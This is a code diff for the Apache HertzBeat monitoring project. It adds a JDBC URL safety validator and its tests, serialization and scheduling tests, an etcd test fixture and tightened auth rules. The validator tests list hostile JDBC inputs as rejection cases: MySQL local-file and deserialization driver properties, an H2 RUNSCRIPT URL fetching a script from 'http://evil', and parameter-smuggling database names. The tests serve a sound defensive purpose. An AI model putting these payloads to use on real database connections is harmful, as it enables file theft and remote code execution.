+        String normalized = url.toLowerCase(Locale.ROOT).replaceAll("[\\x00-\\x1F\\x7F]", "");
+        for (String property : DANGEROUS_URL_PROPERTIES) {
+            if (normalized.contains(property)) {
+                throw new IllegalArgumentException(
+                        "Invalid JDBC URL: contains potentially malicious parameter: " + property);
+            }
+        }
+    }
+}

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/entity/job/JobTest.java

@@ -0,0 +1,100 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.entity.job;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import java.util.List;
+import java.util.concurrent.ConcurrentLinkedDeque;
+import org.junit.jupiter.api.Test;
+
+/**
+ * Test case for {@link Job}.
+ */
+class JobTest {
+
+    @Test
+    void schedulesCoprimeIntervalsWithoutMaterializingTheirWholeCycle() {
+        Job job = new Job();
+
+        job.generateMetricsIntervals(List.of(1009L, 1013L));
+
+        assertTrue(job.getIntervals() == null || job.getIntervals().size() <= 2);
+        assertEquals(
+                List.of(1009L, 4L, 1005L, 8L, 1001L, 12L, 997L, 16L),
+                List.of(
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval()));
+    }
+
+    @Test
+    void repeatsTheSameScheduleForOrdinaryIntervals() {
+        Job job = new Job();
+
+        job.generateMetricsIntervals(List.of(4L, 6L));
+
+        assertEquals(
+                List.of(4L, 2L, 2L, 4L, 4L, 2L, 2L, 4L),
+                List.of(
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval(),
+                        job.getInterval()));
+    }
+
+    @Test
+    void explicitIntervalsReplaceGeneratedSchedule() {
+        Job job = new Job();
+        job.generateMetricsIntervals(List.of(4L, 6L));
+
+        job.setIntervals(new ConcurrentLinkedDeque<>(List.of(0L)));
+
+        assertEquals(0L, job.getInterval());
+        assertEquals(0L, job.getInterval());
+    }
+
+    @Test
+    void usesDefaultIntervalWhenNoValidMetricIntervalExists() {
+        Job job = new Job();
+        job.setDefaultInterval(15L);
+
+        job.generateMetricsIntervals(List.of(0L, -1L));
+
+        assertEquals(15L, job.getInterval());
+        assertEquals(15L, job.getInterval());
+    }
+
+    @Test
+    void rejectsLeastCommonMultipleOverflow() {
+        assertThrows(
+                ArithmeticException.class,
+                () -> Job.lcm(List.of(Long.MAX_VALUE, Long.MAX_VALUE - 1)));
+    }
+}

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/entity/message/CollectRepTest.java

@@ -19,10 +19,16 @@
 
 package org.apache.hertzbeat.common.entity.message;
 
+import java.nio.charset.StandardCharsets;
+import java.util.List;
+import java.util.stream.Stream;
 import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.CsvSource;
+import org.junit.jupiter.params.provider.MethodSource;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.params.provider.Arguments.arguments;
 
 /**
  * Test case for {@link CollectRep}
@@ -43,4 +49,41 @@ public class CollectRepTest {
         assertEquals(field1.equals(field2), result);
     }
 
+    @ParameterizedTest(name = "{0}")
+    @MethodSource("largeMetricValues")
+    void preservesArrowStringValue(String description, String value) {
+        CollectRep.Field field = CollectRep.Field.newBuilder()
+                .setName("payload")
+                .setType(1)
+                .build();
+        CollectRep.ValueRow row = new CollectRep.ValueRow(List.of(value));
+
+        try (CollectRep.MetricsData metricsData = CollectRep.MetricsData.newBuilder()
+                .addField(field)
+                .addValueRow(row)
+                .build()) {
+            String storedValue = metricsData.getValues().getFirst().getColumns(0);
+            assertEquals(
+                    value.getBytes(StandardCharsets.UTF_8).length,
+                    storedValue.getBytes(StandardCharsets.UTF_8).length);
+            assertEquals(value, storedValue);
+        }
+    }
+
+    private static Stream<Arguments> largeMetricValues() {
+        String ideograph = "\u4e2d";
+        String emoji = new String(Character.toChars(0x1F600));
+        return Stream.of(
+                arguments("ASCII before previous boundary", "a".repeat(32_699)),
+                arguments("ASCII at previous boundary", "a".repeat(32_700)),
+                arguments("ASCII after previous boundary", "a".repeat(32_701)),
+                arguments("large ASCII value", "a".repeat(100_000)),
+                arguments("multibyte before previous boundary", ideograph.repeat(10_899)),
+                arguments("multibyte at previous boundary", ideograph.repeat(10_900)),
+                arguments("multibyte after previous boundary", ideograph.repeat(10_901)),
+                arguments("emoji before previous boundary", emoji.repeat(8_174)),
+                arguments("emoji at previous boundary", emoji.repeat(8_175)),
+                arguments("emoji after previous boundary", emoji.repeat(8_176)));
+    }
+
 }

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/serialize/KafkaMetricsDataSerializerTest.java

@@ -23,6 +23,8 @@ import static org.junit.jupiter.api.Assertions.assertNull;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.nio.channels.Channels;
+import java.nio.charset.StandardCharsets;
+import java.util.List;
 import java.util.Map;
 import org.apache.arrow.vector.VectorSchemaRoot;
 import org.apache.arrow.vector.ipc.ArrowStreamWriter;
@@ -102,6 +104,29 @@ class KafkaMetricsDataSerializerTest {
         assertArrayEquals(expectedBytes, bytes);
     }
 
+    @Test
+    void preservesLargeMetricValueThroughArrowIpc() {
+        String value = "a".repeat(100_000);
+        CollectRep.Field field = CollectRep.Field.newBuilder()
+                .setName("payload")
+                .setType(1)
+                .build();
+        CollectRep.MetricsData source = CollectRep.MetricsData.newBuilder()
+                .addField(field)
+                .addValueRow(new CollectRep.ValueRow(List.of(value)))
+                .build();
+
+        byte[] bytes = serializer.serialize("topic", source);
+
+        KafkaMetricsDataDeserializer deserializer = new KafkaMetricsDataDeserializer();
+        try (CollectRep.MetricsData restored = deserializer.deserialize("topic", bytes)) {
+            assertArrayEquals(
+                    value.getBytes(StandardCharsets.UTF_8),
+                    restored.getValues().getFirst().getColumns(0)
+                            .getBytes(StandardCharsets.UTF_8));
+        }
+    }
+
     @Test
     void testClose() {
 

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/serialize/RedisMetricsDataCodecTest.java

@@ -0,0 +1,104 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.serialize;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import java.io.ByteArrayOutputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.Channels;
+import java.util.List;
+import org.apache.arrow.memory.BufferAllocator;
+import org.apache.arrow.memory.RootAllocator;
+import org.apache.arrow.vector.VectorSchemaRoot;
+import org.apache.arrow.vector.ipc.ArrowStreamWriter;
+import org.apache.arrow.vector.types.pojo.ArrowType;
+import org.apache.arrow.vector.types.pojo.Field;
+import org.apache.arrow.vector.types.pojo.Schema;
+import org.apache.hertzbeat.common.entity.message.CollectRep;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+/**
+ * Test case for {@link RedisMetricsDataCodec}
+ */
+class RedisMetricsDataCodecTest {
+
+    private RedisMetricsDataCodec codec;
+
+    @BeforeEach
+    void setUp() {
+        codec = new RedisMetricsDataCodec();
+    }
+
+    @Test
+    void encodeDecodePreservesRows() {
+        CollectRep.MetricsData data = CollectRep.MetricsData.newBuilder()
+                .setId(123L)
+                .setApp("linux")
+                .setMetrics("cpu")
+                .setCode(CollectRep.Code.SUCCESS)
+                .addField(CollectRep.Field.newBuilder().setName("usage").setType(0).build())
+                .addValueRow(CollectRep.ValueRow.newBuilder().addColumn("42").build())
+                .build();
+
+        try (CollectRep.MetricsData decoded = codec.decodeValue(codec.encodeValue(data))) {
+            assertNotNull(decoded);
+            assertEquals(123L, decoded.getId());
+            assertEquals(CollectRep.Code.SUCCESS, decoded.getCode());
+            assertEquals(1, decoded.getValues().size());
+            assertEquals("42", decoded.getValues().get(0).getColumns(0));
+        }
+    }
+
+    @Test
+    void encodeDecodeKeepsZeroRowTimeout() {
+        CollectRep.MetricsData timeout = CollectRep.MetricsData.newBuilder()
+                .setId(456L)
+                .setApp("linux")
+                .setMetrics("cpu")
+                .setPriority(0)
+                .setCode(CollectRep.Code.TIMEOUT)
+                .setMsg("Collect Timeout No Response")
+                .build();
+
+        try (CollectRep.MetricsData decoded = codec.decodeValue(codec.encodeValue(timeout))) {
+            assertNotNull(decoded);
+            assertEquals(456L, decoded.getId());
+            assertEquals(CollectRep.Code.TIMEOUT, decoded.getCode());
+            assertEquals("Collect Timeout No Response", decoded.getMsg());
+            assertEquals(0, decoded.getPriority());
+            assertEquals(0, decoded.rowCount());
+        }
+    }
+
+    @Test
+    void decodeSchemaOnlyStreamReturnsNull() throws Exception {
+        Schema schema = new Schema(List.of(Field.nullable("usage", new ArrowType.Utf8())));
+        try (BufferAllocator allocator = new RootAllocator();
+             VectorSchemaRoot root = VectorSchemaRoot.create(schema, allocator);
+             ByteArrayOutputStream out = new ByteArrayOutputStream();
+             ArrowStreamWriter writer = new ArrowStreamWriter(root, null, Channels.newChannel(out))) {
+            writer.start();
+            writer.end();
+
+            assertNull(codec.decodeValue(ByteBuffer.wrap(out.toByteArray())));
+        }
+    }
+}

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/AesUtilTest.java

@@ -106,11 +106,8 @@ class AesUtilTest {
         String invalidBase64Text = "InvalidBase64";
         assertFalse(isCiphertext(invalidBase64Text, VALID_KEY));
 
-        // Test with invalid key
-        originalText = "This is a secret message";
-        encryptedText = aesEncode(originalText, VALID_KEY);
-        String invalidKey = "6543210987654321";
-        assertFalse(isCiphertext(encryptedText, invalidKey));
+        // Valid base64 that cannot be decrypted: 3 bytes is not a block multiple
+        assertFalse(isCiphertext("AAAA", VALID_KEY));
     }
 
     @Test

hertzbeat-common-core/src/test/java/org/apache/hertzbeat/common/util/JdbcUrlSafetyUtilTest.java

@@ -0,0 +1,90 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.common.util;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+
+/**
+ * Test case for {@link JdbcUrlSafetyUtil}
+ */
+class JdbcUrlSafetyUtilTest {
+
+    @Test
+    void testAcceptsOrdinaryDatabaseNames() {
+        assertEquals("hertzbeat", JdbcUrlSafetyUtil.requireSafeDatabaseName("hertzbeat"));
+        assertEquals("my_db-1", JdbcUrlSafetyUtil.requireSafeDatabaseName("my_db-1"));
+        assertEquals("orcl.example.com", JdbcUrlSafetyUtil.requireSafeDatabaseName("orcl.example.com"));
+        assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(null));
+        assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(""));
+    }
+
+    @ValueSource(strings = {
+        // the payload that turns a monitor into local file disclosure on the collector
+        "test?allowLoadLocalInfile=true&z=",
+        "test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+        // any character that carries jdbc url meaning has to be refused
+        "db&user=root",
+        "db=x",
+        "db/../other",
+        "db;DatabaseName=other",
+        "db:1234",
+        "db#fragment",
+        "db name",
+        "?leadingQuestion",
+    })
+    @ParameterizedTest
+    void testRejectsDatabaseNamesCarryingUrlSyntax(String database) {
+        assertThrows(IllegalArgumentException.class,
+                () -> JdbcUrlSafetyUtil.requireSafeDatabaseName(database));
+    }
+
+    @Test
+    void testRejectsDatabaseNameOverLength() {
+        assertThrows(IllegalArgumentException.class,
+                () -> JdbcUrlSafetyUtil.requireSafeDatabaseName("a".repeat(65)));
+    }
+
+    @Test
+    void testAcceptsUrlsThisProjectBuilds() {
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+                "jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&useSSL=false"));
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+                "jdbc:sqlserver://localhost:1433;DatabaseName=test;trustServerCertificate=true;"));
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
+                "jdbc:oracle:thin:@localhost:1521/orcl"));
+        assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(null));
+    }
+
+    @ValueSource(strings = {
+        "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true",
+        "jdbc:mysql://localhost:3306/test?autoDeserialize=true",
+        "jdbc:mysql://localhost:3306/test?queryInterceptors=x",
+        "jdbc:mysql://localhost:3306/test?allowMultiQueries=true",
+        "jdbc:postgresql://localhost:5432/test?socketFactory=x",
+        "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/x.sql'",
+    })
+    @ParameterizedTest
+    void testRejectsUrlsCarryingDangerousDriverProperties(String url) {
+        assertThrows(IllegalArgumentException.class, () -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(url));
+    }
+}

hertzbeat-common-spring/src/main/java/org/apache/hertzbeat/common/entity/manager/Bulletin.java

@@ -17,6 +17,7 @@
 
 package org.apache.hertzbeat.common.entity.manager;
 
+import static io.swagger.v3.oas.annotations.media.Schema.AccessMode.READ_ONLY;
 import static io.swagger.v3.oas.annotations.media.Schema.AccessMode.READ_WRITE;
 import io.swagger.v3.oas.annotations.media.Schema;
 import jakarta.persistence.Column;
@@ -27,6 +28,7 @@ import jakarta.persistence.GeneratedValue;
 import jakarta.persistence.GenerationType;
 import jakarta.persistence.Id;
 import jakarta.persistence.Table;
+import jakarta.persistence.UniqueConstraint;
 import java.time.LocalDateTime;
 import java.util.List;
 import java.util.Map;
@@ -50,12 +52,14 @@ import org.springframework.data.jpa.domain.support.AuditingEntityListener;
 @AllArgsConstructor
 @NoArgsConstructor
 @EntityListeners(AuditingEntityListener.class)
-@Table(name = "hzb_bulletin")
+@Table(name = "hzb_bulletin", uniqueConstraints = {
+        @UniqueConstraint(name = "uk_bulletin_name", columnNames = "name")
+})
 public class Bulletin {
 
     @Id
     @GeneratedValue(strategy = GenerationType.IDENTITY)
-    @Schema(description = "Bulletin ID", example = "1")
+    @Schema(description = "Bulletin ID", example = "1", accessMode = READ_ONLY)
     private Long id;
 
     @Schema(description = "Bulletin Name", example = "Bulletin1", accessMode = READ_WRITE)
@@ -74,19 +78,19 @@ public class Bulletin {
     @Convert(converter = JsonMapListAttributeConverter.class)
     private Map<String, List<String>> fields;
 
-    @Schema(title = "The creator of this record", example = "tom", accessMode = READ_WRITE)
+    @Schema(title = "The creator of this record", example = "tom", accessMode = READ_ONLY)
     @CreatedBy
     private String creator;
 
-    @Schema(title = "The modifier of this record", example = "tom", accessMode = READ_WRITE)
+    @Schema(title = "The modifier of this record", example = "tom", accessMode = READ_ONLY)
     @LastModifiedBy
     private String modifier;
 
-    @Schema(title = "Record create time", example = "2024-07-02T20:09:34.903217", accessMode = READ_WRITE)
+    @Schema(title = "Record create time", example = "2024-07-02T20:09:34.903217", accessMode = READ_ONLY)
     @CreatedDate
     private LocalDateTime gmtCreate;
 
-    @Schema(title = "Record modify time", example = "2024-07-02T20:09:34.903217", accessMode = READ_WRITE)
+    @Schema(title = "Record modify time", example = "2024-07-02T20:09:34.903217", accessMode = READ_ONLY)
     @LastModifiedDate
     private LocalDateTime gmtUpdate;
 }

hertzbeat-e2e/hertzbeat-collector-basic-e2e/src/test/java/org/apache/hertzbeat/collector/collect/basic/http/EtcdMonitorE2eTest.java

@@ -0,0 +1,158 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.collect.basic.http;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import com.sun.net.httpserver.HttpExchange;
+import com.sun.net.httpserver.HttpServer;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.hertzbeat.collector.collect.AbstractCollectE2eTest;
+import org.apache.hertzbeat.collector.collect.http.HttpCollectImpl;
+import org.apache.hertzbeat.collector.dispatch.CollectDataDispatch;
+import org.apache.hertzbeat.collector.dispatch.MetricsCollect;
+import org.apache.hertzbeat.collector.dispatch.unit.impl.DataSizeConvert;
+import org.apache.hertzbeat.collector.timer.WheelTimerTask;
+import org.apache.hertzbeat.collector.util.CollectUtil;
+import org.apache.hertzbeat.common.entity.job.Configmap;
+import org.apache.hertzbeat.common.entity.job.Job;
+import org.apache.hertzbeat.common.entity.job.Metrics;
+import org.apache.hertzbeat.common.entity.job.protocol.HttpProtocol;
+import org.apache.hertzbeat.common.entity.job.protocol.Protocol;
+import org.apache.hertzbeat.common.entity.message.CollectRep;
+import org.apache.hertzbeat.common.timer.Timeout;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.junit.jupiter.MockitoExtension;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.util.ResourceUtils;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Integration test for etcd monitoring functionality.
+ * Fixture at src/test/resources/http/etcd/metrics.txt is a real capture from a live
+ * etcd v3.5.17 /metrics endpoint (see app-etcd.yml for the corresponding template).
+ */
+@Slf4j
+@ExtendWith(MockitoExtension.class)
+@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
+public class EtcdMonitorE2eTest extends AbstractCollectE2eTest {
+
+    private static final int MOCK_SERVER_PORT = 52379;
+    private static final String LOCALHOST = "127.0.0.1";
+    private static HttpServer mockServer;
+
+    @AfterAll
+    public static void tearDown() {
+        if (mockServer != null) {
+            mockServer.stop(0);
+        }
+    }
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        super.setUp();
+        collect = new HttpCollectImpl();
+
+        // the shared harness wires MetricsCollect with an empty unit-convert list,
+        // but this template relies on B->MB conversion
+        Timeout convertTimeout = mock(Timeout.class);
+        WheelTimerTask convertTimerJob = mock(WheelTimerTask.class);
+        when(convertTimeout.task()).thenReturn(convertTimerJob);
+        when(convertTimerJob.getJob()).thenReturn(mock(Job.class));
+        metricsCollect = new MetricsCollect(mock(Metrics.class), convertTimeout,
+                mock(CollectDataDispatch.class), null, List.of(new DataSizeConvert()));
+
+        String metricsResponse = loadResponseFromFile("classpath:http/etcd/metrics.txt");
+
+        mockServer = HttpServer.create(new InetSocketAddress(MOCK_SERVER_PORT), 0);
+        mockServer.setExecutor(null);
+        mockServer.start();
+        mockServer.createContext("/metrics", exchange -> sendTextResponse(exchange, metricsResponse));
+    }
+
+    private String loadResponseFromFile(String resourcePath) throws Exception {
+        return new String(Files.readAllBytes(ResourceUtils.getFile(resourcePath).toPath()));
+    }
+
+    private void sendTextResponse(HttpExchange exchange, String response) throws IOException {
+        exchange.getResponseHeaders().set("Content-Type", "text/plain");
+        final byte[] array = response.getBytes(StandardCharsets.UTF_8);
+        exchange.sendResponseHeaders(200, array.length);
+        try (OutputStream os = exchange.getResponseBody()) {
+            os.write(array);
+        }
+    }
+
+    private static final Map<String, String> EXPECTED_VALUES = Map.of(
+            "etcd_server_has_leader", "1",
+            "etcd_mvcc_db_total_size_in_bytes", "0.0195",
+            "etcd_server_leader_changes_seen_total", "1",
+            "process_cpu_seconds_total", "42.41",
+            "process_resident_memory_bytes", "29.9844");
+
+    @Test
+    public void testEtcdMonitor() {
+        Job etcdJob = appService.getAppDefine("etcd");
+        List<Map<String, Configmap>> configmapFromPreCollectData = new LinkedList<>();
+        for (Metrics metricsDef : etcdJob.getMetrics()) {
+            metricsDef = CollectUtil.replaceCryPlaceholderToMetrics(metricsDef,
+                    !configmapFromPreCollectData.isEmpty() ? configmapFromPreCollectData.get(0) : new HashMap<>());
+            CollectRep.MetricsData metricsData = validateMetricsCollection(metricsDef, metricsDef.getName());
+            Assertions.assertEquals(EXPECTED_VALUES.get(metricsDef.getName()),
+                    metricsData.getValues().get(0).getColumns(0),
+                    metricsDef.getName() + " collected value mismatch");
+            configmapFromPreCollectData = CollectUtil.getConfigmapFromPreCollectData(metricsData);
+        }
+    }
+
+    @Override
+    protected Protocol buildProtocol(Metrics metricsDef) {
+        HttpProtocol protocol = new HttpProtocol();
+        protocol.setHost(LOCALHOST);
+        protocol.setPort(String.valueOf(MOCK_SERVER_PORT));
+        protocol.setMethod(metricsDef.getHttp().getMethod());
+        protocol.setParseType(metricsDef.getHttp().getParseType());
+        protocol.setParseScript(metricsDef.getHttp().getParseScript());
+        protocol.setUrl(metricsDef.getHttp().getUrl());
+        return protocol;
+    }
+
+    @Override
+    protected CollectRep.MetricsData.Builder collectMetrics(Metrics metricsDef) {
+        HttpProtocol protocol = (HttpProtocol) buildProtocol(metricsDef);
+        metrics.setHttp(protocol);
+        // prometheus parseType filters by builder.getMetrics(); production sets it in
+        // MetricsCollect.run() but this test harness does not, so set it here
+        CollectRep.MetricsData.Builder metricsData = CollectRep.MetricsData.newBuilder()
+                .setMetrics(metricsDef.getName());
+        return collectMetricsData(metrics, metricsDef, metricsData);
+    }
+}

hertzbeat-e2e/hertzbeat-collector-basic-e2e/src/test/resources/http/etcd/metrics.txt

@@ -0,0 +1,17 @@
+# Captured from a live etcd v3.5.17 /metrics endpoint, trimmed to the metric
+# families used by app-etcd.yml.
+# HELP etcd_mvcc_db_total_size_in_bytes Total size of the underlying database physically allocated in bytes.
+# TYPE etcd_mvcc_db_total_size_in_bytes gauge
+etcd_mvcc_db_total_size_in_bytes 20480
+# HELP etcd_server_has_leader Whether or not a leader exists. 1 is existence, 0 is not.
+# TYPE etcd_server_has_leader gauge
+etcd_server_has_leader 1
+# HELP etcd_server_leader_changes_seen_total The number of leader changes seen.
+# TYPE etcd_server_leader_changes_seen_total counter
+etcd_server_leader_changes_seen_total 1
+# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.
+# TYPE process_cpu_seconds_total counter
+process_cpu_seconds_total 42.41
+# HELP process_resident_memory_bytes Resident memory size in bytes.
+# TYPE process_resident_memory_bytes gauge
+process_resident_memory_bytes 3.1440896e+07

hertzbeat-e2e/hertzbeat-log-e2e/src/test/resources/sureness.yml

@@ -16,16 +16,22 @@
 ## -- sureness.yml account source -- ##
 
 # config the resource restful api that need auth protection, base rbac
-# rule: api===method===role 
+# rule: api===method===role
 # eg: /api/v1/source1===get===[admin] means /api/v2/host===post support role[admin] access.
 # eg: /api/v1/source2===get===[] means /api/v1/source2===get can not access by any role.
 resourceRole:
   - /api/account/auth/refresh===post===[admin,user,guest]
   - /api/apps/**===get===[admin,user,guest]
+  # the define yml routes persist the global collection templates
+  # post can only add a new type, put overwrites an existing one and immediately
+  # redispatches its collect job to every monitor already using it - hence admin only
+  - /api/apps/**===post===[admin,user]
+  - /api/apps/**===put===[admin]
+  - /api/apps/**===delete===[admin]
   - /api/monitor/**===get===[admin,user,guest]
   - /api/monitor/**===post===[admin,user]
   - /api/monitor/**===put===[admin,user]
-  - /api/monitor/**===delete==[admin]
+  - /api/monitor/**===delete===[admin]
   - /api/monitors/**===get===[admin,user,guest]
   - /api/monitors/**===post===[admin,user]
   - /api/monitors/**===put===[admin,user]
@@ -70,15 +76,26 @@ resourceRole:
   - /api/sse/**===post===[admin,user]
   - /api/chat/**===get===[admin,user]
   - /api/chat/**===post===[admin,user]
+  - /api/ai/**===get===[admin]
+  - /api/ai/**===post===[admin]
+  - /api/ai/**===put===[admin]
+  - /api/ai/**===delete===[admin]
   - /api/logs/sse/**===get===[admin,user,guest]
   - /api/logs/ingest/**===post===[admin,user]
   - /api/otlp/**===post===[admin,user]
   - /api/ingestion/otlp/**===get===[admin,user,guest]
   - /api/logs/**===get===[admin,user,guest]
   - /api/traces/**===get===[admin,user,guest]
+  # The OpenAPI document is a map of every route, parameter and model, so it is
+  # scoped like any other administrative resource instead of being anonymous
+  - /v3/api-docs/**===get===[admin]
+  - /v3/api-docs.yaml===get===[admin]
+  - /v3/api-docs.yaml/**===get===[admin]
+  - /v2/api-docs/**===get===[admin]
+  - /swagger-resources/**===get===[admin]
 
 # config the resource restful api that need bypass auth protection
-# rule: api===method 
+# rule: api===method
 # eg: /api/v1/source3===get means /api/v1/source3===get can be access by anyone, no need auth.
 excludedResource:
   - /api/alert/sse/**===*
@@ -111,10 +128,6 @@ excludedResource:
   - /**/*.json===get
   - /**/*.woff===get
   - /**/*.eot===get
-  # swagger ui resource
-  - /swagger-resources/**===get
-  - /v2/api-docs===get
-  - /v3/api-docs===get
   # h2 database
   - /h2-console/**===*
 

hertzbeat-grafana/src/main/java/org/apache/hertzbeat/grafana/service/ServiceAccountService.java

@@ -44,7 +44,6 @@ import org.springframework.http.HttpHeaders;
 import org.springframework.http.HttpMethod;
 import org.springframework.http.MediaType;
 import org.springframework.http.ResponseEntity;
-import org.springframework.http.client.support.BasicAuthenticationInterceptor;
 import org.springframework.stereotype.Service;
 import org.springframework.web.client.RestTemplate;
 
@@ -98,7 +97,6 @@ public class ServiceAccountService {
         String endpoint = String.format(prefix + CREATE_SERVICE_ACCOUNT_API, url);
         HttpHeaders headers = createHeaders();
         String body = String.format("{\"name\":\"%s\",\"role\":\"%s\",\"isDisabled\":false}", ACCOUNT_NAME, ACCOUNT_ROLE);
-        restTemplate.getInterceptors().add(new BasicAuthenticationInterceptor(username, password));
         HttpEntity<String> request = new HttpEntity<>(body, headers);
         try {
             ResponseEntity<String> response = restTemplate.postForEntity(endpoint, request, String.class);
@@ -128,7 +126,6 @@ public class ServiceAccountService {
         String endpoint = String.format(prefix + CREATE_SERVICE_TOKEN_API, url, accountId);
         HttpHeaders headers = createHeaders();
         String body = String.format("{\"name\":\"%s\"}", CommonUtil.generateRandomWord(6));
-        restTemplate.getInterceptors().add(new BasicAuthenticationInterceptor(username, password));
         HttpEntity<String> request = new HttpEntity<>(body, headers);
         try {
             ResponseEntity<String> response = restTemplate.postForEntity(endpoint, request, String.class);
@@ -178,7 +175,6 @@ public class ServiceAccountService {
     public ResponseEntity<String> getAccounts() {
         String endpoint = String.format(prefix + GET_SERVICE_ACCOUNTS_API, url);
         HttpHeaders headers = createHeaders();
-        restTemplate.getInterceptors().add(new BasicAuthenticationInterceptor(username, password));
         HttpEntity<String> request = new HttpEntity<>(headers);
         try {
             ResponseEntity<String> response = restTemplate.exchange(endpoint, HttpMethod.GET, request, String.class);

hertzbeat-grafana/src/test/java/org/apache/hertzbeat/grafana/service/ServiceAccountServiceTest.java

@@ -0,0 +1,90 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
